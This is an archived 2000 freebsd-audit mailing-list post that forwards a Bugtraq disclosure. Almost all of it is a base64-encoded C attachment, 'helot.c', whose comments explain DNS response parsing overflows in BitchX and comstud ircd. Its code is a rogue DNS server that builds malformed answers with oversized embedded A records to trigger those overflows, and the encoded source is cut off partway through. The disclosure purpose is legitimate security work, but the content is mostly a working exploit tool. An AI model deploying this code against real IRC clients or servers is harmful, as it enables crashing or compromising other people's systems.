Skip site navigation (1)Skip section navigation (2)
Date:      Fri, 8 Dec 2000 00:34:35 -0600 (CST)
From:      Mike Silbersack <silby@silby.com>
To:        freebsd-audit@freebsd.org
Subject:   bitchx/ircd DNS overflow demonstration (fwd)
Message-ID:  <Pine.BSF.4.21.0012080032150.22989-101000@achilles.silby.com>

next in thread | raw e-mail | index | archive | help
  This message is in MIME format.  The first part should be readable text,
  while the remaining parts are likely unreadable without MIME-aware tools.
  Send mail to mime@docserver.cac.washington.edu for more info.

--1BoxPartBoundary97620769315457976207693
Content-Type: TEXT/PLAIN; CHARSET=US-ASCII
Content-ID: <Pine.BSF.4.21.0012080032152.22989@achilles.silby.com>
Content-Disposition: INLINE

Since people appear to be on an auditing rampage, I thought I'd forward
this over to the list.  It describes some DNS parsing bugs in a few ircds
and BitchX that seem to have serious consequences.  It may be worth a look
into if programs in the base system have similar problems.

Mike "Silby" Silbersack

---------- Forwarded message ----------
Date: Thu, 7 Dec 2000 08:48:13 -0800
From: nimrood <nimrood@ONEBOX.COM>
To: BUGTRAQ@SECURITYFOCUS.COM
Subject: bitchx/ircd DNS overflow demonstration

code is attached.

__________________________________________________
FREE voicemail, email, and fax...all in one place.
Sign Up Now! http://www.onebox.com

--1BoxPartBoundary97620769315457976207693
Content-Type: APPLICATION/OCTET-STREAM; CHARSET=us-ascii
Content-Transfer-Encoding: BASE64
Content-ID: <Pine.BSF.4.21.0012080032153.22989@achilles.silby.com>
Content-Description: 
Content-Disposition: ATTACHMENT; FILENAME="helot.c"

LyoKICogaGVsb3QuYyAtIGJpdGNoeC9pcmNkIEROUyBvdmVyZmxvdyBkZW1vbnN0cmF0aW9u
CiAqIHcwMHcwMCBTZWN1cml0eSBEZXZlbG9wbWVudCAoV1NEKQogKiAxMi4wNC4yMDAwIG5p
bXJvb2QgKG5pbXJvb2RAb25lYm94LmNvbSkKICoKICogdGhpcyBzYW1lIGNvZGUgaSB1c2Vk
IHRvIGV4cGxvaXQgYW4gaXJjZCBETlMgc3Bvb2ZpbmcgYnVnCiAqIGZyb20gZWFybHkgJzk5
LiByZS11c2FibGUgY29kZSBpcyBncmVhdC4KICogdGhpcyBwcm9ncmFtIGlzIGZ1biB0byBw
bGF5IHdpdGggaWYgeW91J3JlIG1lc3Npbmcgd2l0aCBETlMuCiAqIHRoZSBwYWNrZXQgYnVp
bGRlciBpcyBNYWtlRE5TUGt0KCkuIHRoaXMgdG9vbCBjb21waWxlcyBvbiBteQogKiBsaW51
eCBzeXN0ZW1zIHdpdGggbm8gcHJvYmxlbXMuCiAqCiAqIAlHcmVldGluZ3MgOjogIyF3MDB3
MDAsIGNhZGRpcywgZG1lc3Mwciwgbm9jYXJyaWVyLCBueXQsCiAqICAgICAgICAgICAgICAg
ICAgIHN1cGVybHVjaywgam9iZSwgYXdyLCBtZXRhYm9saXMsIHNxLCBiYjB5CiAqCiAqIC0t
LS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0KICogcHJvYmxlbSAxOiAtLT4gZ2Vu
ZXJpYyBpcmNkCiAqIGN1cnJlbnQgYW5kIG9sZGVyIGlyYyBzZXJ2ZXJzIHN1ZmZlciBmcm9t
IGEgY29tbW9uIGJ1Zy4KICogYSBwb2ludGVyIGlzIG5vdCB1cGRhdGVkIGNvcnJlY3RseSB3
aGVuIGhhbmRsaW5nIHVuc3VwcG9ydGVkCiAqIFJSIHR5cGVzIChlZzogVF9OVUxMKS4gdGhp
cyBtYWtlcyB0aGUgc2VydmVyIHRoaW5rCiAqIGl0IHJlY2VpdmVkIGEgbWFsZm9ybWVkIHBh
Y2tldCB3aGVuIHRyeWluZyB0byBwcm9jZXNzIHRoZSBuZXh0IFJSLgogKiBpdCdzIG5vdCBh
IHJlYWxseSBzZXJpb3VzIGJ1ZywgYnV0IGl0IGFsbG93cyBmb3IgYSBuZWF0IHRyaWNrOgog
KgogKiB5b3UgY2FuIGVtYmVkIGFueSBSUiB0eXBlIGluIGFuIHVuc3VwcG9ydGVkIFJSIChl
ZzogVF9OVUxMKS4gdGhlc2UKICogZW1iZWRkZWQgUlIncyBhcmUgbm90IGNoZWNrZWQgZm9y
IGVycm9ycyBvciBkcm9wcGVkIGJ5IG5hbWVzZXJ2ZXJzLi4uCiAqIAogKiBwcm9ibGVtIDI6
IC0tPiBiaXRjaHggYWxsIHZlcnNpb25zLCByZW1vdGUgY29kZSBleGNlY3V0aW9uCiAqIGJp
dGNoeCBhcHBlYXJzIHRvIHVzZSBjb2RlIGZyb20gb2xkZXIgaXJjIHNlcnZlcnMgdG8gcGVy
Zm9ybSBkbnMKICogbG9va3Vwcy4gdGhpcyBvbGQgY29kZSBzdWZmZXJzIGZyb20gYSBiY29w
eS9tZW1jcHkgb3ZlcmZsb3cgd2hpbGUKICogcHJvY2Vzc2luZyBUX0EgUlIncy4gVGhlIFRf
QSBSUiBkYXRhIGxlbmd0aCBpcyB1c2VkIGluIGEgc3Vic2VxdWVudAogKiBtZW1jcHkgd2l0
aG91dCBib3VuZHMgY2hlY2tpbmcuIHRoZSBvdmVyZmxvd2VkIHZhcmlhYmxlIHN0b3JlcyBh
bgogKiBJUCBhZGRyZXNzLCBvbmx5IDQgYnl0ZXMgbG9uZy4gdGhpcyBpcyBzaW1pbGFyIHRv
IHRoZSBJX1FVRVJZIEJJTkQKICogb3ZlcmZsb3cuIGJpdGNoeCBkbnMgYWxzbyBzdWZmZXJz
IGZyb20gcHJvYmxlbSAxLgogKgogKiBmcm9tIGJpdGNoeC0xLjBjMTcsIC4vc291cmNlL21p
c2MuYyA6IGFyX3Byb2NhbnN3ZXIoKQogKiBsaW5lIDI2Mzk6CiAqICAgICAgICAgICBkbGVu
ID0gIChpbnQpX2dldHNob3J0KGNwKTsKICogICAgICAgICAgIGNwICs9IHNpemVvZihzaG9y
dCk7CiAqICAgICAgICAgICBycHRyLT5yZV90eXBlID0gdHlwZTsKICogCiAqICAgICAgICAg
ICBzd2l0Y2godHlwZSkKICogICAgICAgICAgIHsKICogICAgICAgICAgIGNhc2UgVF9BIDoK
ICogICAgICAgICAgICAgICAgICAgcnB0ci0+cmVfaGUuaF9sZW5ndGggPSBkbGVuOwogKiAg
ICAgICAgICAgICAgICAgICBpZiAoYW5zID09IDEpCiAqICAgICAgICAgICAgICAgICAgICAg
ICAgICAgcnB0ci0+cmVfaGUuaF9hZGRydHlwZT0oY2xhc3MgPT0gQ19JTikgPyBBRl9JTkVU
IDogQUZfVU5TUEVDOwogKiAgICAgICAgICAgICAgICAgICBtZW1jcHkoJmRyLCBjcCwgZGxl
bik7CiAqCiAqIHByb2JsZW0gMzogLS0+IGNvbXN0dWQgaXJjZCwgcmVtb3RlIGNvZGUgZXhl
Y3V0aW9uCiAqIGZ1bm55IGVub3VnaCwgd2hpbGUgd29ya2luZyBvbiB0aGUgYml0Y2h4IG92
ZXJmbG93LCBpIGFjY2lkZW50YWxseQogKiBjb25uZWN0ZWQgYSBjbGllbnQgdXNpbmcgdGhl
IHdyb25nIElQIHRvIGEgY29tc3R1ZCBpcmNkLi4uaXQgZGllZC4KICogaSBmb3VuZCBjb21z
dHVkLTEueCByZWxlYXNlcyBhcmUgbm90IHZ1bG5lcmFibGUuIAogKiBpIHN1c3BlY3Qgb3Ro
ZXIgaXJjZCBzZXJ2ZXIgdmFyaWVudHMgd2lsbCBiZSB2dWxuZXJhYmxlLiBpIHdvdWxkCiAq
IHJlY29tbWVuZCB1cGdyYWRpbmcgdG8gYSBjb21zdHVkLTEueCByZWxlYXNlLiBoeWJyaWQt
aXJjZCB0ZWFtIGZpeGVkCiAqIHRoaXMgYnVnIGEgd2hpbGUgYmFjayB3aXRoIHRoZSByZWxl
YXNlIG9mIGh5YnJpZC01LjNwMy4KICoKICogZnJvbSBpcmMyLjguMjErQ1NyMzFwbDIsIC4v
c291cmNlL3Jlcy5jIDogcHJvY19hbnN3ZXIoKQogKiBsaW5lIDU0ODoKICogICAgICAgICAg
ZGxlbiA9ICAoaW50KV9nZXRzaG9ydCgodV9jaGFyICopY3ApOwogKiBsaW5lIDU2NToKICog
ICAgICAgICAgc3dpdGNoKHR5cGUpCiAqICAgICAgICAgIHsKICogICAgICAgICAgY2FzZSBU
X0EgOgogKiAgICAgICAgICAgICAgICAgIGhwLT5oX2xlbmd0aCA9IGRsZW47CiAqICAgICAg
ICAgICAgICAgICAgaWYgKGFucyA9PSAxKQogKiAgICAgICAgICAgICAgICAgICAgICAgICAg
aHAtPmhfYWRkcnR5cGUgPSAgKGNsYXNzID09IENfSU4pID8gQUZfSU5FVCA6IEFGX1VOU1BF
QzsKICogICAgICAgICAgICAgICAgICBiY29weShjcCwgKGNoYXIgKikmZHIsIGRsZW4pOwog
KgogKiB0aGVyZSBhcmUgbm8gYmFkIGd1eXMuLi4ganVzdCBkaXN0dXJiZWQgZ3V5cy4KICov
CgojaW5jbHVkZSA8c3RkaW8uaD4KI2luY2x1ZGUgPHN0ZGxpYi5oPgojaW5jbHVkZSA8dW5p
c3RkLmg+CiNpbmNsdWRlIDxzdHJpbmcuaD4KI2luY2x1ZGUgPHN5cy90aW1lLmg+CiNpbmNs
dWRlIDxzeXMvdHlwZXMuaD4KI2luY2x1ZGUgPHN5cy9zb2NrZXQuaD4KI2luY2x1ZGUgPHNp
Z25hbC5oPgojaW5jbHVkZSA8bmV0aW5ldC9pbi5oPgojaW5jbHVkZSA8YXJwYS9uYW1lc2Vy
Lmg+CiNpbmNsdWRlIDxhcnBhL2luZXQuaD4KCi8qIGZvciB3aGF0ZXZlciByZWFzb24sIHRo
ZXNlIG1heSBuZWVkIHRvIGJlIGRlZmluZWQgKi8KI2lmbmRlZiB1X2NoYXIKI2RlZmluZSB1
X2NoYXIgdW5zaWduZWQgY2hhcgojZW5kaWYKI2lmbmRlZiB1X3Nob3J0CiNkZWZpbmUgdV9z
aG9ydCB1bnNpZ25lZCBzaG9ydAojZW5kaWYKI2lmbmRlZiB1X2xvbmcKI2RlZmluZSB1X2xv
bmcgdW5zaWduZWQgbG9uZwojZW5kaWYKCiNkZWZpbmUgRE5TX1BPUlQgNTMKCmV4dGVybiBp
bnQgb3B0aW5kLCBvcHRvcHQ7CmV4dGVybiBjaGFyICpvcHRhcmc7CgovKiB1c2VkIGZvciBj
b252ZXJ0aW5nIHF1ZXJ5IHR5cGUgaW50ZWdlciB0byByZXNwZWN0aXZlIHN0cmluZyAqLwpz
dHJ1Y3QgcXR5cGVfbGlzdAp7CglpbnQgdHlwZTsKCWNoYXIgKm5hbWU7Cn07CmNvbnN0IHN0
cnVjdCBxdHlwZV9saXN0IHF0eXBlbGlzdFtdID0KewoJe1RfQSwJCSJBIn0sCgl7VF9OUywJ
CSJOUyJ9LAoJe1RfQ05BTUUsCSJDTkFNRSJ9LAoJe1RfU09BLAkJIlNPQSJ9LAoJe1RfUFRS
LAkJIlBUUiJ9LAoJe1RfSElORk8sCSJISU5GTyJ9LAoJe1RfTVgsCQkiTVgifSwKCXtUX0FO
WSwJCSJBTlkifSwKCXtUX05VTEwsCSJOVUxMIn0sCgl7VF9XS1MsCQkiV0tTIn0sCgl7MCwJ
CSIodW5rbm93bikifQp9OwoKdm9pZCBDYXRjaFNpZ0ludChpbnQgc2lnKQp7CglzaWduYWwo
U0lHSU5ULCBTSUdfREZMKTsKfQoKdm9pZCBVc2FnZShjaGFyICpwcm9nKQp7CglmcHJpbnRm
KHN0ZGVyciwgIlwKdXNhZ2U6ICVzIFstayBwaWRdIFstdCB0dGxdIFstYiBpcF0gaXAgaG9z
dG5hbWVcblwKICBpcCAgICAgICAgICAgaXAgYWRkcmVzcyB0byBhbnN3ZXIgcmV2ZXJzZSBs
b29rdXBzIGZvclxuXAogIGhvc3RuYW1lICAgICBob3N0bmFtZSB0byBiZSBtYXBwZWQgdG8g
aXAsIGFuZCBhbnN3ZXIgZm9yd2FyZCBsb29rdXBzXG5cCiAgLWsgICAgICAgICAgIGtpbGwg
dGhpcyBwcm9jZXNzIGJlZm9yZSBiaW5kaW5nIGRucyBwb3J0XG5cCiAgLXQgICAgICAgICAg
IGNhY2hlIHRpbWUtdG8tbGl2ZSAoc2Vjb25kcykgZm9yIHRoaXMgYW5zd2VyIChkZWZhdWx0
OiA5MDApXG5cCiAgLWIgICAgICAgICAgIGJpbmQgdGhlIG5hbWVzZXJ2ZXIgdG8gdGhpcyBh
ZGRyZXNzIChkZWZhdWx0LCBhbGwgYWRkcmVzc2VzKVxuIiwKCXByb2cpOwoJZXhpdCgxKTsK
fQoKY2hhciAqaXAySW5BZGRyU3RyKHVfbG9uZyBpcCkKewoJc3RhdGljIGNoYXIgKnN0cjsK
CXVfY2hhciAqYnl0ZTsKCglpZighc3RyKSAKCXsKCQlpZigoc3RyPW1hbGxvYyhNQVhMQUJF
TCkpID09IE5VTEwpCgkJCXJldHVybihzdHIpOwoJfQoKCS8qIElQIHNob3VsZCBiZSBpbiBu
ZXR3b3JrIG9yZGVyIHRvIGdlbmVyYXRlIGEgcHJvcGVyIGluLWFkZHIgKi8JCglieXRlID0g
KHVfY2hhciAqKSZpcDsKCXNwcmludGYoc3RyLCAiJWQuJWQuJWQuJWQuSU4tQUREUi5BUlBB
LiIsIGJ5dGVbM10sIGJ5dGVbMl0sIGJ5dGVbMV0sCgkJYnl0ZVswXSk7CgoJcmV0dXJuKHN0
cik7Cn0KCnVfc2hvcnQgRXhwYW5kRE5hbWUoY2hhciAqY29tcCwgY2hhciAqZGVzdCwgdV9z
aG9ydCBsZW4pCnsKICAgICAgICBjaGFyICpjcCwgKmNwMjsKICAgICAgICB1X3Nob3J0IG51
bTsKCiAgICAgICAgY3AgPSBjb21wOyBjcDIgPSBkZXN0OwogICAgICAgIGlmKHN0cmNocihj
cCwgJy4nKSAmJiBzdHJsZW4oY3ApIDwgbGVuKQogICAgICAgIHsKICAgICAgICAgICAgICAg
IHN0cmNweShjcDIsIGNwKTsKICAgICAgICAgICAgICAgIGlmKCooY3AyICsgc3RybGVuKGNw
MikpICE9ICcuJykKICAgICAgICAgICAgICAgICAgICAgICAgc3RyY2F0KGNwMiwgIi4iKTsK
ICAgICAgICAgICAgICAgIHJldHVybihzdHJsZW4oY3AyKSk7CiAgICAgICAgfQoKICAgICAg
ICB3aGlsZSgoKmNwKSAmJiAoY3ApKQogICAgICAgIHsKICAgICAgICAgICAgICAgIG51bSA9
ICh1X2NoYXIpKmNwOwogICAgICAgICAgICAgICAgaWYobnVtICsgKGNwMiAtIGRlc3QpID4g
bGVuKQogICAgICAgICAgICAgICAgICAgICAgICBicmVhazsKICAgICAgICAgICAgICAgIG1l
bWNweShjcDIsICsrY3AsIG51bSk7CiAgICAgICAgICAgICAgICBjcCArPSBudW07IGNwMiAr
PSBudW07CiAgICAgICAgICAgICAgICAqKGNwMisrKSA9ICcuJzsKICAgICAgICB9CiAgICAg
ICAgKmNwMiA9IDA7CiAgICAgICAgcmV0dXJuKGNwMiAtIGRlc3QpOwp9CgppbnQgQ29tcERO
YW1lKGNoYXIgKmJ1ZiwgY2hhciAqZG5hbWUpCnsKCWNoYXIgKnAgPSBidWYsICpwMTsKCgl3
aGlsZSgoKmRuYW1lKSAmJiAoZG5hbWUpKQoJewoJCWlmKCgqZG5hbWUgPT0gJy4nKSAmJiAo
ISooZG5hbWUgKyAxKSkpCgkJCWJyZWFrOwoJCXAxID0gc3RyY2hyKGRuYW1lLCAnLicpOwoJ
CWlmKCFwMSkKCQkJcDEgPSBzdHJjaHIoZG5hbWUsIDApOwoJCSoocCsrKSA9IHAxIC0gZG5h
bWU7CgkJbWVtY3B5KHAsIGRuYW1lLCBwMSAtIGRuYW1lKTsKCQlwICs9IHAxIC0gZG5hbWU7
CgkJZG5hbWUgPSBwMTsKCQlpZigqcDEpCgkJCWRuYW1lKys7Cgl9CgkqKHArKykgPSAwOwoJ
cmV0dXJuKHAgLSBidWYpOwp9CgovKgogKiBQcm9jRE5TUGt0KCkKICoKICogZGVzYzogcHJv
Y2VzcyBhIHBhY2tldCwgcmV0dXJuIHF1ZXJ5IG5hbWUgSUYgaXQncyBhIHF1ZXN0aW9uCiAq
IGlucHV0OiBwb2ludGVyIHRvIHBhY2tldCBidWZmZXIsIHBhY2tldCBidWZmZXIgbGVuZ3Ro
CiAqIG91dHB1dDogcG9pbnRlciB0byBxdWVyeSBuYW1lIHN0cmluZywgb3IgTlVMTCwgdHlw
ZSBvZiBxdWVyeSAKICovCmNoYXIgKlByb2NETlNQa3QoY2hhciAqcGt0LCB1X3Nob3J0IHBr
dGxlbiwgaW50ICpxdHlwZSkKewoJc3RhdGljIGNoYXIgKnFuYW1lOwoJY2hhciAqcVJSOwoJ
SEVBREVSICpkbnNoZHI7CglpbnQgcW5hbWVsZW47CgoJLyogZG8gd2UgZXZlbiBoYXZlIHNv
bWV0aGluZyB0byBsb29rIGF0PyAqLwoJaWYocGt0ID09IE5VTEwgfHwgcGt0bGVuIDwgKEhG
SVhFRFNaICsgUUZJWEVEU1opKQoJCXJldHVybigwKTsKCWRuc2hkciA9IChIRUFERVIgKilw
a3Q7CgoJLyogY2hlY2sgcXVlcnkgcmVzcG9uc2UgZmxhZyAqLwoJaWYoZG5zaGRyLT5xcikK
CQlyZXR1cm4oMCk7CgoJLyogY2hlY2sgdGhhdCB3ZSBoYXZlIG9ubHkgYSBxdWVzdGlvbiBp
biB0aGlzIHBhY2tldCAqLwoJaWYobnRvaHMoZG5zaGRyLT5xZGNvdW50KSAhPSAxIHx8IG50
b2hzKGRuc2hkci0+YXJjb3VudCkgIT0gMCB8fAoJCW50b2hzKGRuc2hkci0+bnNjb3VudCkg
IT0gMCB8fCBudG9ocyhkbnNoZHItPmFyY291bnQpICE9IDApCgkJcmV0dXJuKDApOwoKCWlm
KCFxbmFtZSkKCXsKCQlpZigocW5hbWUgPSBtYWxsb2MoTUFYRE5BTUUpKSA9PSAwKQoJCXsK
CQkJZnByaW50ZihzdGRlcnIsICJubyBtZW1vcnkgZm9yIHFuYW1lXG4iKTsKCQkJcmV0dXJu
KDApOwoJCX0KCX0KCXFuYW1lbGVuID0gRXhwYW5kRE5hbWUocGt0K0hGSVhFRFNaLCBxbmFt
ZSwgTUFYRE5BTUUpOwoJaWYocW5hbWVsZW4gPT0gMCkKCQlyZXR1cm4oTlVMTCk7CgoJLyog
ZXh0cmFjdCB0aGUgcXVlcnkgdHlwZSByZWNlaXZlZCBhbmQgZmlsbCBpbiBxdHlwZSAqLwoJ
cVJSID0gcGt0ICsgSEZJWEVEU1ogKyBzdHJsZW4ocGt0ICsgSEZJWEVEU1opICsgMTsKCUdF
VFNIT1JUKHFuYW1lbGVuLCBxUlIpOyAKCSpxdHlwZSA9IHFuYW1lbGVuOwoJcmV0dXJuKHFu
YW1lKTsKfQoKLyoKICogUVR5cGUyU3RyKCkKICoKICogZGVzYzogY29udmVydCBxdWVyeSB0
eXBlIGludGVnZXIgdG8gYSBzdHJpbmcgcmVwcmVzZW50YXRpb24KICogaW5wdXQ6IHF1ZXJ5
IHR5cGUKICogb3V0cHV0OiBwb2ludGVyIHRvIHN0cmluZyBvZiBxdWVyeSB0eXBlCiAqLwpj
aGFyICpRVHlwZTJTdHIoaW50IHF0eXBlKQp7CglpbnQgaSA9IDA7CgoJd2hpbGUocXR5cGVs
aXN0W2ldLnR5cGUgJiYgcXR5cGVsaXN0W2ldLnR5cGUgIT0gcXR5cGUpCgkJaSsrOwoJcmV0
dXJuKHF0eXBlbGlzdFtpXS5uYW1lKTsKfQoKLyoKICogTWFrZUROU1BrdCgpCiAqCiAqIGRl
c2M6IG1ha2UgYSBkbnMgYW5zd2VyIHBhY2tldCBmb3IgYSBxdWVzdGlvbgogKiBpbnB1dDog
cG9pbnRlciB0byBvcmlnaW5hbCBxdWVyeSBwYWNrZXQgdG8gYnVpbGQgYW5zd2VyIGZvciwg
cG9pbnRlciB0bwogKglhbnN3ZXIgcGFja2V0IGJ1ZmZlciwgYnVmZmVyIGxlbmd0aCwgYW5z
d2VyIGRhdGEsIGFkZGl0aW9uYWwgZGF0YSwKICoJdGltZS10by1saXZlIAogKiBvdXRwdXQ6
IHJldHVybnMgc2l6ZSBvZiBhbnN3ZXIgcGFja2V0LCBvciBOVUxMCiAqLwp1X3Nob3J0IE1h
a2VETlNQa3QoY2hhciAqcXBrdCwgY2hhciAqYXBrdCwgdV9zaG9ydCBhbGVuLCBjaGFyICph
bnN3ZXIsCgljaGFyICphZGRpdGlvbmFsLCB1X2xvbmcgdHRsKQp7Cgl1X3Nob3J0IHN6LCBv
ZmZzZXQ7IAoJaW50IHF0eXBlOwoJSEVBREVSICpxaGRyLCAqYWhkcjsKCWNoYXIgKnF1ZXJ5
LCAqYXF1ZXJ5LCAqYW5zd2VyUlI7CgljaGFyIHFuYW1lW01BWEROQU1FXTsgLyogZG9tYWlu
IG5hbWUgbGFiZWwgc2NyYXRjaCBwYWQgKi8KCWNoYXIgKmNwLCAqY3AyOwoKCS8qIGRvIHNv
bWUgY2hlY2tzICovCglpZihxcGt0ID09IE5VTEwgfHwgYXBrdCA9PSBOVUxMIHx8IGFuc3dl
ciA9PSBOVUxMIHx8IGFkZGl0aW9uYWwgPT0gTlVMTCkKCQlyZXR1cm4oMCk7CgoJLyogc2V0
dXAgcG9pbnRlcnMgKi8KCXFoZHIgPSAoSEVBREVSICopcXBrdDsgYWhkciA9IChIRUFERVIg
KilhcGt0OwoJcXVlcnkgPSBxcGt0ICsgSEZJWEVEU1o7IGFxdWVyeSA9IGFwa3QgKyBIRklY
RURTWjsKCgkvKiBhbnN3ZXIgcGFja2V0IGRucyBoZWFkZXIsIHdlIHVzZSB0aGUgcXVlcnkg
cGFja2V0J3MgaGRyICovCglpZihhbGVuIDwgSEZJWEVEU1opCgkJcmV0dXJuKDApOwoJbWVt
Y3B5KGFoZHIsIHFoZHIsIEhGSVhFRFNaKTsKCWFoZHItPnFyID0gMTsgLyogcXVlcnkgcmVz
cG9uc2UgKi8KCWFoZHItPmFhID0gMTsgLyogYXV0aG9yYXRhdGl2ZSBhbnN3ZXIgKi8KCWFo
ZHItPnJjb2RlID0gTk9FUlJPUjsKCgkvKiBjb3B5IG9yaWdpbmFsIHF1ZXJ5IGluZm8gdG8g
YW5zd2VyIHBhY2tldCAqLwoJbWVtY3B5KGFxdWVyeSwgcXVlcnksIChzdHJsZW4ocXVlcnkp
ICsgUUZJWEVEU1ogKyAxKSk7CglhcXVlcnkgKz0gc3RybGVuKHF1ZXJ5KSArIDE7CglHRVRT
SE9SVChxdHlwZSwgYXF1ZXJ5KTsKCWFuc3dlclJSID0gYXF1ZXJ5ICsgSU5UMTZTWjsKCgkv
KiBidWlsZCB0aGUgYW5zd2VyIFJSJ3MgYmFzZWQgb24gcXVlcnkgdHlwZSAqLwoJc3ogPSBD
b21wRE5hbWUocW5hbWUsIGFuc3dlcik7CgoJc3dpdGNoKHF0eXBlKQoJewoJCWNhc2UgVF9Q
VFI6CgkJCS8qIGFuc3dlciB0aGUgb3JpZ2luYWwgcXVlc3Rpb24uIHRoaXMgUlIncyBkYXRh
IAoJCQkgKiBjb21lcyBmcm9tIHRoZSAiaG9zdG5hbWUiIGNtZGxpbmUgb3B0aW9uLgoJCQkg
KiB0aGlzIGlzIGEgbm9ybWFsIGFuZCB2YWxpZCByZXNvdXJjZSByZWNvcmQKCQkJICovCgkJ
CVBVVFNIT1JUKChIRklYRURTWiB8IDB4YzAwMCksIGFuc3dlclJSKTsKCQkJUFVUU0hPUlQo
VF9QVFIsIGFuc3dlclJSKTsKCQkJUFVUU0hPUlQoQ19JTiwgYW5zd2VyUlIpOwoJCQlQVVRM
T05HKHR0bCwgYW5zd2VyUlIpOwoJCQlQVVRTSE9SVChzeiwgYW5zd2VyUlIpOwoJCQltZW1j
cHkoYW5zd2VyUlIsIHFuYW1lLCBzeik7CgkJCW9mZnNldCA9IGFuc3dlclJSIC0gYXBrdDsg
Lyogb2Zmc2V0IHVzZWQgZm9yIGNvbXByZXNzaW9uICovCgkJCWFuc3dlclJSICs9IHN6OwoK
CQkJLyogdGhpcyBSUiwgVF9OVUxMIGRlbW9uc3RyYXRlcyBwcm9ibGVtIDEuIHRoaXMgUlIg
aGFzCgkJCSAqIGFuIGVtYmVkZGVkIFRfQSByZWNvcmQgaW4gaXQncyBkYXRhIGZpZWxkCgkJ
CSAqLwoJCQlQVVRTSE9SVCgoSEZJWEVEU1ogfCAweGMwMDApLCBhbnN3ZXJSUik7CgkJCVBV
VFNIT1JUKFRfTlVMTCwgYW5zd2VyUlIpOwoJCQlQVVRTSE9SVChDX0lOLCBhbnN3ZXJSUik7
CgkJCVBVVExPTkcodHRsLCBhbnN3ZXJSUik7CgkJCWNwID0gYW5zd2VyUlI7IC8qIHBvaW50
ZXIgdG8gVF9OVUxMIFJSJ3MgZGF0YSBsZW5naCAqLwoJCQlQVVRTSE9SVCgwLCBhbnN3ZXJS
Uik7CgkJCWNwMiA9IGFuc3dlclJSOwkvKiBwb2ludGVyIHRvIHN0YXJ0IG9mIGVtYmVkZGVk
IFRfQSBSUiAqLwoJCQkJCgkJCS8qIFRfQSByZWNvcmQgaXMgYWN0dWFsbHkgZW1iZWRkZWQg
aW4gdGhlIFRfTlVMTCByZWNvcmQuCgkJCSAqIGJpdGNoeC9pcmNkIHdpbGwgcmVhZCBpbnRv
IHRoaXMgVF9BIHJlY29yZCBvbiB0aGUgbmV4dCBsb29wLgoJCQkgKiB0aGlzIGxldHMgdXMg
Z2V0IGFyb3VuZCByZXN0cmljdGlvbnMgaW4gQklORCBvbiBUX0EgUlIncwoJCQkgKgoJCQkg
KiB0aGlzIFJSIGNhdXNlcyBwcm9ibGVtcyAyICYgMyAtLSB0aGUgb3ZlcmZsb3cKCQkJICov
CgkJCVBVVFNIT1JUKChvZmZzZXQgfCAweGMwMDApLCBhbnN3ZXJSUik7CgkJCVBVVFNIT1JU
KFRfQSwgYW5zd2VyUlIpOwoJCQlQVVRTSE9SVChDX0lOLCBhbnN3ZXJSUik7CQoJCQlQVVRM
T05HKHR0bCwgYW5zd2VyUlIpOwoJCQlQVVRTSE9SVCgxODAsIGFuc3dlclJSKTsgLyogb3Zl
cmZsb3cgd2l0aCAxODAgTidzICovCgkJCW1lbXNldChhbnN3ZXJSUiwgJ04nLCAxODApOwoJ
CQlhbnN3ZXJSUiArPSAxODA7CgoJCQkvKiBjb21wdXRlIHNpemUgb2YgZW1iZWRkZWQgVF9B
ICYgdXBkYXRlIFRfTlVMTCdzIGRsZW5ndGggKi8KCQkJUFVUU0hPUlQoKGFuc3dlclJSIC0g
Y3AyKSwgY3ApOwoKCQkJLyogdGhpcyByZWNvcmQgaXMgbmVlZGVkIHRvIGNvbnRpbnVlIHRo
ZSBkbnMgbG9vcCBpbgoJCQkgKiBiaXRjaHgvaXJjZC4gaXQgY2FuIGJlIGFueSBSUiwgaSB1
c2VkIFRfTlVMTAoJCQkgKi8gCiAgICAgICAgICAgICAgICAgICAgICAgIFBVVFNIT1JUKChI
RklYRURTWiB8IDB4YzAwMCksIGFuc3dlclJSKTsKICAgICAgICAgICAgICAgICAgICAgICAg
UFVUU0hPUlQoVF9OVUxMLCBhbnN3ZXJSUik7CiAgICAgICAgICAgICAgICAgICAgICAgIFBV
VFNIT1JUKENfSU4sIGFuc3dlclJSKTsKICAgICAgICAgICAgICAgICAgICAgICAgUFVUTE9O
Ryh0dGwsIGFuc3dlclJSKTsKICAgICAgICAgICAgICAgICAgICAgICAgUFVUU0hPUlQoMCwg
YW5zd2VyUlIpOwoKCQkJYWhkci0+YW5jb3VudCA9IGh0b25zKDMpOwoJCQlhaGRyLT5uc2Nv
dW50ID0gaHRvbnMoMCk7CgkJCWFoZHItPmFyY291bnQgPSBodG9ucygwKTsKCQkJYnJlYWs7
CgoJCWNhc2UgVF9BOgoJCQkvKiBCSU5EIGRlZW1zIFRfQSByZWNvcmRzIHdpdGggZGF0YSBs
ZW5ndGggPD4gNCBieXRlcwoJCQkgKiB0byBiZSBtYWxmb3JtZWQuIHNvIHdlIG11c3QgZW1i
ZWQgdGhlIFJSLgoJCQkgKi8KCQkJUFVUU0hPUlQoKEhGSVhFRFNaIHwgMHhjMDAwKSwgYW5z
d2VyUlIpOwoJCQlQVVRTSE9SVChUX05VTEwsIGFuc3dlclJSKTsKCQkJUFVUU0hPUlQoQ19J
TiwgYW5zd2VyUlIpOwoJCQlQVVRMT05HKHR0bCwgYW5zd2VyUlIpOwoJCQljcCA9IGFuc3dl
clJSOwoJCQlQVVRTSE9SVCgwLCBhbnN3ZXJSUik7CgkJCWNwMiA9IGFuc3dlclJSOwoKCQkJ
LyogcHJvYmxlbSAyICYgMyBkZW1vbnN0cmF0ZWQgd2l0aCBhIFRfQSBxdWVyeSAqLwoJCQlQ
VVRTSE9SVCgoSEZJWEVEU1ogfCAweGMwMDApLCBhbnN3ZXJSUik7CgkJCVBVVFNIT1JUKFRf
QSwgYW5zd2VyUlIpOwoJCQlQVVRTSE9SVChDX0lOLCBhbnN3ZXJSUik7CgkJCVBVVExPTkco
dHRsLCBhbnN3ZXJSUik7CgkJCVBVVFNIT1JUKDE4MCwgYW5zd2VyUlIpOyAKCQkJbWVtc2V0
KGFuc3dlclJSLCAnQScsIDE4MCk7CgkJCWFuc3dlclJSICs9IDE4MDsKCgkJCS8qIGZpeCB1
cCB0aGUgc2l6ZSBvZiB0aGUgVF9OVUxMICovCgkJCVBVVFNIT1JUKChhbnN3ZXJSUiAtIGNw
MiksIGNwKTsKCgkJCS8qIGFub3RoZXIgVF9OVUxMIC4uLiAqLwogICAgICAgICAgICAgICAg
ICAgICAgICBQVVRTSE9SVCgoSEZJWEVEU1ogfCAweGMwMDApLCBhbnN3ZXJSUik7CiAgICAg
